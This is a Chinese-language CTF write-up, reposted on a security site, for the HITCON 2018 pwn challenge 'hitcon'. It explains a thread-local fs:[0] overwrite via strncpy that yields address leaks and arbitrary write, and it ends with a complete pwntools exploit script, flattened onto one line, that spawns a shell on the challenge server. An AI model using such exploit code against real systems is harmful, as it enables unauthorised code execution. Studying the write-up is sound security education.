【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

admin 2022年4月1日02:28:10评论44 views字数 4391阅读14分38秒阅读模式

【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup


【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

前言


这道题在比赛中并没有解出来,而是在赛后才解出来,不过这题也花了我挺长时间的
做完之后不得不感叹hitcon的出题质量非常之高
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

正式分析
首先我们来看下main函数


【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
前面有几个函数
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
setup函数是常规的初始化,读了/dev/urandom的四个字节作为seed
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
init_papers 函数是初始化paper,从papers.txt文件里面读取
然后循环里面有4个功能,前两个只是简单的打印内容,没什么有用的地方
重点分析的是后两个功能

schedule

【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
这个函数会循环读取两个数字,然后这两个数字分别是第几个schedule和第几个paper的意思
schedule_ok函数会判断每个paper是否只有一个,还有全部schedule是否填满
1-3 代表第一个场次演讲的paper
4-6 代表第二个场次演讲的paper
7-9 代表第三个场次演讲的paper
每个场次的演讲会同时进行
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
这个是程序输出的示例

start

【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
首先判断了schedule_ok,只有ok了才能继续
下面开始有一个init_audience
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
创建了997个普通的audience,还创建了两个NiceAudience 最后创建了You
这些创建都使用了c++面向对象的构造函数,NiceAudience是继承普通audience的,You是继承NiceAudience的。
回到start函数
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
这里cur_time从0到2,代表的当前的场次
(*(void (__fastcall **)(Audience *))(*(_QWORD *)aud[i] + 16LL))(aud[i]);
这里是调用了刚刚创建的Audience对象的第三个函数,我们可以去看下虚函数表
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
圈起来的就是被调用的函数
普通的Audience只是随机选一个,范围从0到2
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
NiceAudience会根据schedule来选择,大概的策略是,有Orange,Angelboy,david942j这三个人的讲座的话,就会尽量选择这三个人的,例如这一场只有Orange的,那它肯定会选Orange,如果有Orange,Angelboy两个人的,就会随机选择这两个中其中一个
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
You 会根据输入选择
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
你会有三次听演讲的机会,每次只能从3个人中选一个,而选择的东西是根据你schedule来排的
再回到start函数
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
这里创建了三个线程,调用的是talk函数,传参传的是paper
这里总结一下start函数的功能
  1. 判断schedule是否符合规范
  2. 让997个普通Audience随机选择3个中的一个演讲,让2个NiceAudience根据schedule来选择演讲,让你从输入读取选择演讲
  3. 启动三个线程,线程调用talk函数,传参传的分别是该场次 第一、二、三个演讲,这里启用线程大概的意思是这三个演讲是同时进行的

接下来分析talk函数

【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
有几个函数,我们一一来分析
set_variable
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
这里是将3000000写入到fs:0FFFFFFFFFFFFFF60 这里代表的是演讲的总时间
fs:0FFFFFFFFFFFFFF68h 写入的是paper的指针
然后下面一个循环,找出当前的演讲是属于第几个演讲,顺序可以在papers.txt里面看
再下面一个循环是找出当前演讲属于当前场次的第几个
这些fs:xxx是用来保存当前线程的变量的,是线程安全的
do_talk
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
第一行strlen的长度是演讲的描述的长度
david942jAll in one shot - One Gadget RCEAll you need to know is: $ gem install one_gadget && one_gadget /lib/x86_64-linux-gnu/libc.so.6
就是All you need…..这部分的长度,然后除以时间,得出打印每个字符和下个字符之间的间隔,然后每次打印完会减掉一点总时间
qa_time
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
首先执行times_up,判断是否还剩余时间
这里可能会有个疑问,上面不是用长度除以时间,然后每打印一个字符就减去一点时间,理论上打印完全部字符之后时间就会没有了,为什么这里还能判断有剩余时间呢?
回答就是,长度不一定能整除时间,有些会剩余一些时间的
而剩余时间的有
OrangeA New Era Of SSRFThe new meaning of SSRF - Special Super Rare Food! Yummmmmmm..
AngelboyPlay with File Structure - Yet Another Binary ExploitToo easy, even babies know how to exploit with file structure.
JesmonWarrior of SalvationKid, try my Judgement of the Blade.
那么我们为什么要选择有剩余时间的呢?
原因就是整个程序有漏洞的地方,就出现在response那里
首先
v0 = (const char *)(*(__int64 (__fastcall **)(_QWORD *))(*aud[i] + 24LL))(aud[i]);
这里会调用ask函数
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
然后将返回值,也就是buf的地址当作参数传递到response函数里面
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
response
我们再来分析response函数
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
红色框圈起来的就是初始化的部分,但是我们看看v2 v3,是rax寄存器保存的值
但是很明显我们没有传rax进来,那么v2 v3是在哪里呢?
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
这里fs:0其实和上面的fs:0FFFFFFFFFFFFFF60处于同一块内存区域
属于保存线程内存变量的区域
strncpy这里就是程序的漏洞,可以覆盖fs:0的值
而fs:0比较特殊,因为这个地方储存的值是指向自身的,这跟TLS的机制和实现有关,具体可以去看网上别人的教程
简单的来说就是,假如说我利用strncpy将fs:0的值覆盖为0xdeadbeef
下次调用
mov rax, fs:[0]
的话,rax得到的值就是0xdeadbeef
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
下面这里v7 和v8 其实也是fs:[0]
这里 (*aud[i]+8) 调用的是puts
而 (*aud[i]+32) 调用的是 readn
所以其实这里我们能任意写:
将fs:[0]的值修改为我们要写的地址加0x90,这样就能在readn那里进行任意写
但问题是我们不知道任意一个地址
因此我们可以利用第一次的puts来leak出 fs:[0]的地址
利用readn来修正被修改的 fs:[0] 地址
fs:[0]与libc的距离是固定的,但是要根据具体环境确定,与线程栈的距离也是固定的,这个不会变化
当我们第二次进入这个response函数的时候,我们可以将fs:[0]设为当前函数栈的返回地址那里,可以leak出程序的基址
之后减去偏移,因为我们这个时候控制了栈,再利用ROP和程序内部的函数,leak出一个libc的地址,我们就能知道fs:[0]与libc的距离是多少
得到距离之后,我们在第二次进入response函数的时候,再把fs:[0]设为当前函数栈返回地址,修改为one_gadget,直接getshell
而怎么才能第二次进入response函数呢?
这里就和一开始的schedule有关系了
进response需要演讲的内容的长度不能整除3000000,满足这个条件的有
Orange
Angelboy
Jesmon
上面介绍过,NiceAudience会尽量选择Orange和AngelBoy的,还有一个尽量选择的david942j 能整除
因此我们可以制定这样一个schedule
1. 三个能整除的
2. 第一个为david942j, 第二个为随便一个能整除的,第三个为Jesmon
3. 第一个为随便能整除的,第二个为Orange,第三个为Angelboy
第二次是一定能进response的,第三次就要靠运气了
 payload
下面是正式利用的payload
from pwn import *debug=0context.log_level='debug'e=ELF('./libc.so.6')#e=ELF('./libc.so.6')if debug:    p=process('./hitcon',env={'LD_PRELOAD':'./libc.so.6'})    gdb.attach(p)else:    p=remote('13.115.73.78', 31733)def ru(x):return p.recvuntil(x)def se(x):    p.send(x)def sl(x):    p.sendline(x)order=[2,3,5,1,8,9,6,4,7]# schedulesl('3')for i in range(9):for q in range(4):        ru('----------------------------------------')    sl(str(i+1)+' '+str(order[i]))ru('Exit')sl('4')# choose any one in first roundru('2. ')sl('1')# choose Jesmon in second roundru('2. ')sl('2')ru('Any questions?n')#raw_input()# partial write and leak addressse('x71'*93)libc=u64('x70'+ru('n')[:-1]+'x00x00')if debug:    base=libc+0xB5E890else:    base=libc+0xB5E890-0x5A8000ru('May I know your name please?')se('a'*31)  # repaire ru('Which room you'd like to go?')sl('2')ru('Any questions?n')stack=libc-0x1002988se('a'*91+p64(stack-0x70+0x100))pbase=u64(ru('n')[:-1]+'x00x00')-0x23fc #get program baseru('May I know your name please?n')#payload=p64(pbase+0x2ea3)+p64(pbase+0x203EF8)+p64(pbase+0x1160)  #use it to leak rand addresspayload=p64(base+0x4f322)  #one gadgetse(payload)print(hex(base))p.interactive()
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

总结

hitcon的题目质量真的高

【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

- 结尾 -
精彩推荐
【技术分享】】深入理解win32(十一)
【技术分享】ARM 架构—探究绕过NX的一种方式Ret2ZP
【技术分享】DirtyCow学习与调试记录
【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月1日02:28:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeuphttp://cn-sec.com/archives/857998.html

发表评论

匿名网友 填写信息